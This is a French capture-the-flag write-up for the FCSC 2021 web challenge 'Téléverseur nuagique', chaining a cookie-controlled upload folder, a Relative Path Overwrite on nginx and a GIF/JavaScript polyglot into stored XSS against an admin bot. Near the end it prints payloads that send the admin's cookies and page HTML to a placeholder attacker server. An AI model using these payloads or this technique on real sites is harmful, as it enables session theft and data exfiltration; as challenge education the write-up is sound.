Téléverseur nuagique

FCSC 2021 - Web (500 pts).

FCSC 2021 - Téléverseur nuagique

Challenge details

Event Challenge Category Points Solves
FCSC 2021 Téléverseur nuagique Web 500 3

Une nouvelle plateforme nuagique vient de faire son apparition : http://challenges2.france-cybersecurity-challenge.fr:5005

TL;DR

Exploitation d’une XSS mêlant une Relative Path Overwrite et un upload de fichier arbitraire.

Methodologie

Découverte des fonctionnalités

L’application web comporte deux pages PHP, index.php et parametres.php.

L’index donne la possibilité de téléverser des fichiers, seules les images semblent être autorisées.

Les fichiers téléversés par l’utilisateur courant sont listés dans la partie bibliothèque.

Seuls les fichiers téléversés en mode public y sont visibles. Il est possible d’ajuster la confidentialité des téléversements dans les paramètres. Il existe deux valeurs possibles pour le type de téléversement, public et secret.

Lorsque le téléversement est en mode public les fichiers sont disponibles dans le dossier /telechargements/USER_UID/public/, s’il est secret ils sont dans le dossier /telechargements/USER_UID/secret/. Les fichiers téléversés gardent leur nom originel.

La dernière fonctionnalité est la possibilité de signaler un abus de la plateforme en fournissant une URL aux administrateurs.

Cette fonctionnalité nous oriente vers l’exploitation potentielle d’une XSS.

Recherche de vulnérabilités

Paramètre de confidentialité

Le stockage du paramètre de confidentialité du téléversement est réalisé dans le cookie type_televersement. Il est possible de modifier cette valeur et d’observer son impact.

Après quelques tests, nous observons que la valeur du cookie doit être alphanumérique, dans le cas contraire une erreur nous est retourné.

Nous fixons donc la valeur du cookie type_televersement à test. Cela semble bien être pris en compte par l’application, aucune whitelist ne semble en place.

Il est possible de téléverser un fichier avec cette valeur de cookie.

Le fichier téléversé se trouve maintenant dans un dossier correspondant à la valeur du cookie type_televersement.

Il est donc possible de téléverser des images dans le sous-dossier de notre choix dans notre dossier personnel.

Téléversement

Le téléversement semble limité aux images, en effet, lorsque nous tentons avec un fichier texte l’erreur suivante nous est retournée.

À minima les formats de fichier d’images suivant sont acceptés : jpeg, png, gif, bmp, tiff, webp.

Les fichiers téléversés ne sont pas renommés, aucun traitement ne semble être effectué sur la qualité ou la taille des images et les métadonnées restent présentes.

Après de plus amples tests, aucune vérification n’est apportée au nom des fichiers.

Il est donc possible de téléverser une image valide avec un nom arbitraire.

Intégrité relative

Sur l’index et la page de paramètres, 4 ressources JavaScript sont incluses.

Deux points intéressants sont à signaler, elles sont chargées via des chemins relatifs, c’est-à-dire que leur src il n’y a pas de slash au début du chemin : js/ie-emulation-modes-warning.js. De plus la ressource js/ie-emulation-modes-warning.js ne comprend pas de vérification d’intégrité.

À noter que le serveur HTTP utilisé est nginx, cela est visible dans les headers HTTP, ainsi que sur les pages 403404.

De ce fait, il doit être possible d’exploiter une Relative Path Overwrite. Cela permettrait de faire charger à la victime un fichier du même nom que js/ie-emulation-modes-warning.js, mais se trouvant dans un autre dossier.

La vulnérabilité Relative Path Overwrite exploite la standardisation des URI effectuée par les serveurs HTTP permettant de demander une page en utilisant un nombre illimité d’URI alternatives. Par exemple http://challenges2.france-cybersecurity-challenge.fr:5005/xxx/..%2F sera décodé en http://challenges2.france-cybersecurity-challenge.fr:5005/ par nginx, le contenu de l’index sera alors retourné à l’utilisateur. Cependant, le navigateur considère être dans le dossier /xxx/ et non sur l’index. Dans le cas de nginx la RPO est exploitable avec une configuration par défaut.

Si l’on visite l’URL http://challenges2.france-cybersecurity-challenge.fr:5005/xxx/..%2F, une requête GET sera effectuée vers http://challenges2.france-cybersecurity-challenge.fr:5005/xxx/js/ie-emulation-modes-warning.js et non vers http://challenges2.france-cybersecurity-challenge.fr:5005/js/ie-emulation-modes-warning.js, car le fichier ie-emulation-modes-warning.js est chargé relativement.

En prenant en compte cette vulnérabilité et les deux autres identifié précédemment, nous sommes maintenant en capacité de téléverser une image nommée ie-emulation-modes-warning.js dans le sous-dossier js (grâce à la modification du cookie type_televersement), et de forcer une requête GET vers cette ressource depuis la balise <script> déjà présente sur l’index.

Fichier polyglotte

Cependant, il reste une problématique… Il faut que le fichier soit une image valide, mais également qu’elle soit exécutable par le moteur Javascript.

Le moyen de plus simple est d’utiliser le format GIF assez laxiste pour créer un fichier polyglotte GIF/JS.

Nous pouvons pour cela nous baser sur ce dépôt GitHub https://github.com/0xspade/XSS-Gif-Payload.

Exploitation

Nous renommons le GIF en ie-emulation-modes-warning.js, modifions la valeur du cookie type televersement par js, puis téléversons le fichier.

Nous pouvons ensuite visiter l’URL htp://challenges2.france-cybersecurity-challenge.fr:5005/telechargements/USER_UID/..%2F..%2F, ce qui va aller charger la ressource htp://challenges2.france-cybersecurity-challenge.fr:5005/telechargements/USER_UID/js/ie-emulation-modes-warning.js, le JS compris dans le GIF est alors exécuté !

Il faut maintenant adapter la charge afin de récupérer des informations sur l’administrateur via le formulaire de signalement d’abus.

Nous commençons avec une charge simple permettant d’exfiltrer les cookies de l’administrateur sur un serveur que nous contrôlons.

GIF89a/**/=document.addEventListener("DOMContentLoaded",function(event){document.location="http://serveur-attaquant/?"+document.cookie});//;`

Nous téléversons le fichier et soumettons l’URL suivante dans le formulaire http://challenges2.france-cybersecurity-challenge.fr:5005/telechargements/USER_UID/..%2F..%2F. Quelques secondes plus tard, nous recevons la requête suivante /?. L’administrateur n’a donc pas de cookie sans le flag HTTPOnly. Il est donc nécessaire de récupérer de plus amples informations, nous allons exfiltrer le contenu de la page d’index, afin de récupérer sa bibliothèque.

GIF89a/**/=document.addEventListener("DOMContentLoaded",function(event){document.location="http://serveur-attaquant/?"+btoa(document.documentElement.innerHTML)});//;

Nous récupérons ainsi sa bibliothèque :

<div class="jumbotron">
    <h2>Ma bibliothèque</h2>
    <ul>
        <li>
            <a target="_blank" href="/telechargements/wtxuhzemu9d1ahj9kk47nvrn0qj2gl01/public/flag.png">flag.png</a>
        </li>
    </ul>
</div>

Et le lien vers une image qu’il a téléversée. En accédant à l’URL de l’image nous récupérons le flag \o/

Documentation

Documentation sur la vulnérabilité RPO :